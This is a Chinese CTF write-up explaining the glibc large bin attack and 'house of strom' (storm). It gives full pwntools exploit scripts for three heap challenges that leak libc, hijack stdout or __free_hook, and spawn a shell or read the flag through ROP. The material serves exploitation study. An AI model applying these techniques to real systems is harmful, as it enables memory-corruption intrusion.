0%

large bin attack & house of strom

large bin attack是一种堆利用手法,而house of strom则是在large bin attack的基础上借用unsorted bin来达到任意地址分配,首先我们从源码入手来分析large bin attack原理,然后再讲讲house of strom的原理,接着再看几个题目。

为例方便分析,以2.23为例,新版本有tcache的情况类似,只需填满tcache bin绕过tcache即可。

在free的时候,chunk要么被放入fastbin,要么就被放到unsorted bin。当我们再次malloc的时候,[如果对unsorted bin做了遍历,unsorted bin里的chunk才会被放到对应的bin里]{.mark},比如large bin、small bin。比如我在unsorted bin里有一个size为0x420的chunk,那么它会被放到对应的large bin里。而large bin attack就是利用了unsorted bin里未归位的chunk插入到large bin时的解链、成链操作。来看一段malloc中的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
1.	for (;; )  
2. {
3. int iters = 0;
4. while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) //遍历unsorted bin
5. {
6. bck = victim->bk;
7. if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
8. || __builtin_expect (victim->size > av->system_mem, 0))
9. malloc_printerr (check_action, "malloc(): memory corruption",
10. chunk2mem (victim), av);
11. size = chunksize (victim); //获得当前unsorted bin chunk的大小
12.
13. ..........................
14.
15. if (in_smallbin_range (size))
16. {
17. victim_index = smallbin_index (size);
18. bck = bin_at (av, victim_index);
19. fwd = bck->fd;
20. }
21. else //属于large bin范围
22. {
23. victim_index = largebin_index (size); //根据size,得到对应的large bin索引
24. bck = bin_at (av, victim_index); //获取对应索引的large bin里的最后一个chunk
25. fwd = bck->fd; //获得对应索引的large bin的第一个chunk
26.
27. /* maintain large bins in sorted order */
28. if (fwd != bck) //这意味着当前索引的large bin里chunk不为空
29. {
30. /* Or with inuse bit to speed comparisons */
31. size |= PREV_INUSE;
32. /* if smaller than smallest, bypass loop below */
33. assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
34. if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
35. {
36. fwd = bck;
37. bck = bck->bk;
38.
39. victim->fd_nextsize = fwd->fd;
40. victim->bk_nextsize = fwd->fd->bk_nextsize;
41. fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
42. }
43. else
44. {
45. assert ((fwd->size & NON_MAIN_ARENA) == 0);
46. while ((unsigned long) size < fwd->size)
47. {
48. fwd = fwd->fd_nextsize;
49. assert ((fwd->size & NON_MAIN_ARENA) == 0);
50. }
51.
52. if ((unsigned long) size == (unsigned long) fwd->size)
53. /* Always insert in the second position. */
54. fwd = fwd->fd;
55. else
56. {
57. victim->fd_nextsize = fwd;
58. victim->bk_nextsize = fwd->bk_nextsize; //fwd->bk_nextsize可控,因此victim->bk_nextsize可控
59. fwd->bk_nextsize = victim;
60. victim->bk_nextsize->fd_nextsize = victim; //第一次任意地址写入unsorted bin chunk的地址
61. }
62. bck = fwd->bk; //bk也就是large bin的bk位置的数据,因此bck可控
63. }
64. }
65. else
66. victim->fd_nextsize = victim->bk_nextsize = victim;
67. }
68.
69. mark_bin (av, victim_index);
70. victim->bk = bck;
71. victim->fd = fwd;
72. fwd->bk = victim;
73. bck->fd = victim; //第二次任意地址写入unsorted bin chunk的地址
74.
75. define MAX_ITERS 10000
76. if (++iters >= MAX_ITERS)
77. break;
78. }

首先,victim就是unsorted bin chunk,也就在unsorted bin里未归位的large bin chunk。而fwd就是large bin的chunk。从上来看,首先,在unsorted bin里我们得有一个large bin chunk,并且在large bin里,我们也要有一个chunk,但是,我们得**[保证unsorted bin里的那个large bin chunk的size要比large bin里已有的这个chunk的size要大一点,但是都属于同一个index。]{.mark}**

这样做的目的是我们想绕过前面的这一大块,直接到后面的那个else处。

然后,假设我们通过UAF或其他漏洞,控制了large bin里的这个chunk的bk_nextsize为addr1,那么**[victim->bk_nextsize->fd_nextsize = victim; //第一次任意地址写入unsorted bin chunk的地址]{.mark}** 也就是addr1->fd_nextsize = victim,也就是*(addr1+0x20) = victim,这就是第一次任意地址写一个堆地址;接下来,假如,我们还能控制large bin里那个chunk的bk为addr2,那么首先**[bck = fwd->bk;]{.mark}** 使得bck = addr2,接下来**[bck->fd = victim; //第二次任意地址写入unsorted bin chunk的地址]{.mark}  *也就是addr2->fd = victim,也就是(addr2+0x10) = victim。这样利用large bin attack,我们可以有两次往任意地址写入堆地址的机会。下面,我们就来看一道题。

starctf_2019_heap_master

首先,检查一下程序的保护机制

然后,我们用IDA分析一下

初始化

add函数

delete函数

edit函数

可以看到,这里面的edit,delete操作,都只是针对mmap出来的那片空间,而malloc出来的空间我们控制不了,无法写数据过去。也没有函数用于泄露。由此,我们可以使用large bin attack攻击IO_2_1_stdout结构体,第一次,将IO_2_1_stdout结构体的flags覆盖为堆地址,第二次利用错位将IO_2_1_stdout的_IO_write_base成员低1字节覆盖为0,这样就能泄露数据了。还有一点需要注意的是这个flags有要求

首先,我们需要绕过这两个if,这就要求低1字节的低4位不能为8,第二字节的低4位必须要为8,也就是,我们的unsorted bin chunk地址末尾地址应该为0x800这样

接下来,到达new_do_write,我们要让这个if成立

综上,我们的unsorted bin chunk的地址某位应该是这样的0x1800、0x3800、0x5800…这样的第二字节高4位为奇数即可,由于堆地址随机化,因此第二字节高4位我们不用管,随着堆的随机化总有一次符合要求。我们只需要满足低12bit即可,也就是,**[这个未归位的unsorted bin chunk,我们需要放到偏移0x800处。并且在最后,我们还需要再链入一个小的unsorted bin,]{.mark}**不然我们执行了large bin attack后,在unsorted bin里还没找到符合申请大小的chunk,就会把large bin切割,导致崩溃。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1.	#伪造8个chunk  
2. #0
3. edit(0,0x100,p64(0) + p64(0x421) + 'a'*0xF0)
4. #1
5. edit(0x420,0x20,p64(0) + p64(0x21) + 'b'*0x10)
6. #2
7. edit(0x440,0x20,p64(0) + p64(0x21) + 'b'*0x10)
8. #3
9. edit(0x880,0x100,p64(0) + p64(0x431) + 'c'*0xF0)
10. #4
11. edit(0xCB0,0x20,p64(0) + p64(0x21) + 'd'*0x10)
12. #5
13. edit(0xCD0,0x90,p64(0) + p64(0x91) + 'e'*0x80)
14. #6
15. edit(0xD60,0x20,p64(0) + p64(0x21) + 'f'*0x10)
16. #7
17. edit(0xD80,0x20,p64(0) + p64(0x21) + 'g'*0x10)

如上,0将放入large bin,而3将作为在unsorted bin里未归位的large bin chunk,5将链入unsorted bin作为large bin attack以后的申请用。这样攻击了IO_2_1_stdout以后,我们就得到了glibc地址,然后,我们就可以利用house of orange来getshell了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#coding:utf8
from pwn import *

libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
_IO_2_1_stdout_s = libc.sym['_IO_2_1_stdout_']

def add(size):
sh.sendlineafter('>>','1')
sh.sendlineafter('size:',str(size))

def edit(offset,size,content):
sh.sendlineafter('>>','2')
sh.sendlineafter('offset:',str(offset))
sh.sendlineafter('size:',str(size))
sh.sendafter('content:',content)


def delete(offset):
sh.sendlineafter('>>','3')
sh.sendlineafter('offset:',str(offset))

def exploit():
#伪造8个chunk
#0
edit(0,0x100,p64(0) + p64(0x421) + 'a'*0xF0)
#1
edit(0x420,0x20,p64(0) + p64(0x21) + 'b'*0x10)
#2
edit(0x440,0x20,p64(0) + p64(0x21) + 'b'*0x10)
#3
edit(0x880,0x100,p64(0) + p64(0x431) + 'c'*0xF0)
#4
edit(0xCB0,0x20,p64(0) + p64(0x21) + 'd'*0x10)
#5
edit(0xCD0,0x90,p64(0) + p64(0x91) + 'e'*0x80)
#6
edit(0xD60,0x20,p64(0) + p64(0x21) + 'f'*0x10)
#7
edit(0xD80,0x20,p64(0) + p64(0x21) + 'g'*0x10)

#0进入unsored bin
delete(0x10)
#malloc_consolidate将0放入large bin
add(0x430)
#接下来,为了在bk和bk_nextsize处都有libc指针,我们要继续伪造unsorted bin
#在bk_nextsize处留下libc指针
edit(0x10,0xF0,p64(0) + p64(0x91) + 'a'*0x80 + (p64(0) + p64(0x21) + 'a'*0x10) * 3)
delete(0x20)
add(0x80) #把unsorted bin申请掉
#在bk留下libc指针
edit(0,0x10,p64(0) + p64(0xC1))
delete(0x10)
add(0xB0) #把unsorted bin申请掉
#修改large bin的bk,指向stdout
edit(0x10,0xA,p64(0) + p16((0x2 << 12) + ((_IO_2_1_stdout_s - 0x10) & 0xFFF)))
#修改large bin的bk_nextsize
edit(0x20,0xA,p64(0) + p16((0x2 << 12) + ((_IO_2_1_stdout_s + 0x20 - 0x20 - 0x7) & 0xFFF)))
#恢复large bin的头size
edit(0,0x10,p64(0) + p64(0x421))
#3放入unsorted bin,3属于未归位的large bin
delete(0x890)
#0x90的堆放入unsorted bin
delete(0xCE0)
#遍历unsorted bin时发生large bin attack,攻击io_2_1_stdout
add(0x80)
sh.recv(1)
sh.recv(0x18)
libc_base = u64(sh.recv(8)) - libc.symbols['_IO_file_jumps']
print 'libc_base=',hex(libc_base)
if libc_base >> 40 != 0x7F:
raise Exception('leak error')
_IO_list_all_addr = libc_base + libc.symbols['_IO_list_all']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
_IO_str_finish_ptr_addr = libc_base + 0x3C37B0
print '_IO_list_all_addr=',hex(_IO_list_all_addr)
print '_IO_str_finish_ptr_addr=',hex(_IO_str_finish_ptr_addr)
print 'system_addr=',hex(system_addr)
print 'binsh_addr=',hex(binsh_addr)

#house of orange
fake_file = p64(0) + p64(0x61) #unsorted bin attack
fake_file += p64(0) + p64(_IO_list_all_addr - 0x10)
#_IO_write_base < _IO_write_ptr
fake_file += p64(0) + p64(1)
fake_file += p64(0) + p64(binsh_addr)
fake_file = fake_file.ljust(0xC0,'\x00')
fake_file += p64(0)*3
fake_file += p64(_IO_str_finish_ptr_addr - 0x18) #vtable
fake_file += p64(0)
fake_file += p64(system_addr)
delete(0xCE0) #unsorted bin
edit(0xCD0,len(fake_file),fake_file) #修改unsorted bin内容
#getshell
add(1)

while True:
try:
global sh
#sh = process('./starctf_2019_heap_master')
sh = remote('node3.buuoj.cn',29960)
exploit()
sh.interactive()
except:
sh.close()
print 'trying...'

house of strom

理解了large bin attack,接下来,我们就可以来看house of strom了,house of strom可以实现任意地址分配,看看前面的这道题,我们是将一个合法的unsorted bin chunk链接到unsorted bin里未归位的large bin chunk的bk处,[假设,我们将一个任意地址比如addr链接到unsorted bin里未归位的large bin chunk的bk处,然后执行large bin attack会发生什么。]{.mark}

那么,在large bin attack阶段不会有问题,只是接下来,继续遍历,取到我们链接上的这个chunk时,检查其size,不符合要求然后崩溃。我们可以利用前面的large bin attack,[先将addr处的size的位置写上一个堆指针,我们可以利用错位法,这样,在size处留下了chunk地址值的第6字节数据,在开启PIE的情况下,一般为0x55为0x56]{.mark},这样,我们malloc(0x40),遍历到第一个未归位的large bin chunk时,发生large bin attack,接下来遍历到后面这个任意地址的chunk时,发现size符合要求,直接返回给用户,就可以成功把这个任意地址的空间申请过来。

这就是house of strom的原理。

我们来看两道题

rctf_2019_babyheap

首先,检查一下程序的保护机制

沙箱禁用了execve调用,因此我们只能使用open、read、write来读flag

然后,我们用IDA分析一下,禁用fastbin,因此不能使用fastbin attack。

Edit功能存在null off by one漏洞。

Add功能里size比较自由

首先就是利用null off by one构造overlap chunk,然后利用malloc_consolidate将一个chunk放到large bin,另一个放到unsorted bin,然后利用overlap chunk去控制这两个bin的指针。然后malloc(0x48)触发large bin attack的同时将会把任意地址申请过来。

我们用house of strom申请到free_hook处,劫持free_hook为setcontext+xx处,这样就能将栈切换到堆里,我们提前在堆里布置好rop即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#coding:utf8
from pwn import *

context(os='linux',arch='amd64')
#sh = process('./rctf_2019_babyheap')
sh = remote('node3.buuoj.cn',28529)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
setcontext_s = libc.sym['setcontext']
open_s = libc.sym['open']
read_s = libc.sym['read']
write_s = libc.sym['write']


def add(size):
sh.sendlineafter('Choice:','1')
sh.sendlineafter('Size:',str(size))

def edit(index,content):
sh.sendlineafter('Choice:','2')
sh.sendlineafter('Index:',str(index))
sh.sendafter('Content:',content)

def delete(index):
sh.sendlineafter('Choice:','3')
sh.sendlineafter('Index:',str(index))

def show(index):
sh.sendlineafter('Choice:','4')
sh.sendlineafter('Index:',str(index))

add(0xF0) #0
add(0x38) #1
add(0x3F0) #2 large bin chunk
add(0x10) #3
add(0xF0) #4
add(0x48) #5
add(0x3F0) #6 large bin chunk
add(0x100) #7

delete(0)
#null off by one
edit(1,'a'*0x30 + p64(0x40 + 0x100))
delete(2)
add(0xF0) #0
show(1)
sh.recv(1)
main_arena_88 = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
setcontext_addr = libc_base + setcontext_s
write_addr = libc_base + write_s
open_addr = libc_base + open_s
read_addr = libc_base + read_s
pop_rdi = libc_base + 0x0000000000021102
pop_rsi = libc_base + 0x00000000000202e8
pop_rdx = libc_base + 0x0000000000001b92
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'setcontext_addr=',hex(setcontext_addr)
#将剩余部分申请,现在2与1重合
add(0x430) #2

#继续用同样的方法,构造一个未归位的large bin,并且比前一个大一些,但是要保证处于同一个index内
delete(4)
edit(5,'b'*0x40 + p64(0x50 + 0x100))
delete(6)
add(0xF0) #4
#将剩余部分申请,5与6重合
add(0x440) #6
#2放入unsorted bin
delete(2)
#2放入large bin
add(0x500) #2
#6放入unsorted bin
delete(6)
#现在,堆布局是unsorted bin里一个未归位的large bin,large bin里有一个chunk,且unsorted bin里的比large bin里的大
#将free_hook_addr链接到unsorted bin chunk的bk
fake_chunk = free_hook_addr - 0x10
edit(5,p64(0) + p64(fake_chunk))
#控制large bin的bk_nextsize,目的是解链时向bk_nextsize->fd_nextsize写入一个堆地址,我们可以以此来伪造size
payload = p64(0) + p64(fake_chunk + 0x8) #bk,只需保证是一个可写的地址即可
payload += p64(0) + p64(fake_chunk - 0x18 - 0x5)
edit(1,payload)
##触发house of storm,申请到free_hook处
add(0x48) #6
#写free_hook,栈迁移到堆里
'''mov rsp, [rdi+0A0h]
...'''
rop = p64(0) + p64(pop_rsi) + p64(free_hook_addr + 0x40) + p64(pop_rdx) + p64(0x200) + p64(read_addr)
payload = p64(setcontext_addr + 0x35) + '\x00'*0x8
payload += rop
edit(6,payload)
#设置0xA0偏移处的值
edit(7,'a'*0xA0 + p64(free_hook_addr + 0x10) + p64(pop_rdi))
#栈迁移到free_hook_addr + 0x10,执行read,继续输入后续rop
delete(7)
flag_addr = free_hook_addr + 0x40 + 0x98
rop2 = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
rop2 += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
rop2 += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(write_addr)
rop2 += '/flag\x00'

sleep(1)
sh.send(rop2)

sh.interactive()

0ctf_2018_heapstorm2

首先,检查一下程序的保护机制

然后,我们用IDA分析一下

存在一个null off by one漏洞,但是prev_size不可控。

由此,我们可以使用shrink unsorted bin的方法来构造overlap chunk。

Show功能需要满足条件才能使用

因此,我们需要利用house of strom申请到堆指针数组处,也就是0x13370800这个地址处,然后控制其里面的数据,使得我们能够调用show,进而泄露地址,然后通过edit去修改free_hook,从而getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#coding:utf8
from pwn import *

sh = process('./0ctf_2018_heapstorm2')
#sh = remote('node3.buuoj.cn',26323)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
malloc_hook_s = libc.sym['__malloc_hook']
free_hook_s = libc.sym['__free_hook']
system_s = libc.sym['system']
binsh_s = libc.search('/bin/sh').next()

def add(size):
sh.sendlineafter('Command:','1')
sh.sendlineafter('Size:',str(size))

def edit(index,size,content):
sh.sendlineafter('Command:','2')
sh.sendlineafter('Index:',str(index))
sh.sendlineafter('Size:',str(size))
sh.sendafter('Content:',content)

def delete(index):
sh.sendlineafter('Command:','3')
sh.sendlineafter('Index:',str(index))

def show(index):
sh.sendlineafter('Command:','4')
sh.sendlineafter('Index:',str(index))

add(0x18) #0
add(0x410) #1
add(0x80) #2
add(0x18) #3
add(0x420) #4
add(0x80) #5
add(0x10) #6

#伪造chunk 1的尾部
edit(1,0x400,'b'*0x3F0 + p64(0x400) + p64(0x21))
#1放入unsorted bin
delete(1)
#null off by one shrink unsorted bin
edit(0,0x18-0xC,'a'*(0x18-0xC))
#从unsorted bin里切割
add(0x80) #1
add(0x360) #7
#1放入unsorted bin
delete(1)
#2向前合并
delete(2)
add(0x80) #1 将unsorted bin指针移动到下一个chunk
#将0x420的chunk申请出来,待会儿再放入large bin
add(0x410) #2
#我们用同样的方法来构造一个大一些的large bin
edit(4,0x400,'d'*0x3F0 + p64(0x400) + p64(0x31))
#4放入unsorted bin
delete(4)
#null off by one shrink unsorted bin
edit(3,0x18-0xC,'c'*(0x18-0xC))
#从unsorted bin里切割
add(0x80) #4
add(0x360) #8
#4放入unsorted bin
delete(4)
#5向前合并
delete(5)
add(0x80) #4
#将0x430的chunk申请出来,待会儿再放入unsorted bin
add(0x420) #5
#将2放入large bin,通过7我们可以large bin
delete(2)
add(0x500) #2
#5放入unsorted bin,通过8,我们可以控制一个未归位的large bin
delete(5)
#我们要分配到的目的地
fake_chunk = 0x0000000013370800 - 0x10
#控制unsorted bin相关指针
edit(8,0x10,p64(0) + p64(fake_chunk))
#控制large bin相关指针
edit(7,0x20,p64(0) + p64(fake_chunk + 0x8) + p64(0) + p64(fake_chunk - 0x18 -0x5))
add(0x48) #5
#通过5,我们可以控制整个堆指针数组了
edit(5,0x30,p64(0)*2 + p64(0x13377331) + p64(0) + p64(fake_chunk + 0x40) + p64(0x48))

edit(0,0x10,p64(0x00000000133707F3) + p64(0x8))
#泄露堆地址
show(1)
sh.recvuntil('Chunk[1]: ')
heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'heap_addr=',hex(heap_addr)
#泄露lib指针
edit(0,0x10,p64(heap_addr + 0x10) + p64(0x8))
show(1)
sh.recvuntil('Chunk[1]: ')
main_arena_88 = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
system_addr = libc_base + system_s
binsh_addr = libc_base + binsh_s
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'system_addr=',hex(system_addr)
print 'binsh_addr=',hex(binsh_addr)
edit(0,0x10,p64(free_hook_addr) + p64(0x8))
#写free_hook
edit(1,0x8,p64(system_addr))
edit(0,0x10,p64(binsh_addr) + p64(0x8))
#getshell
delete(1)

sh.interactive()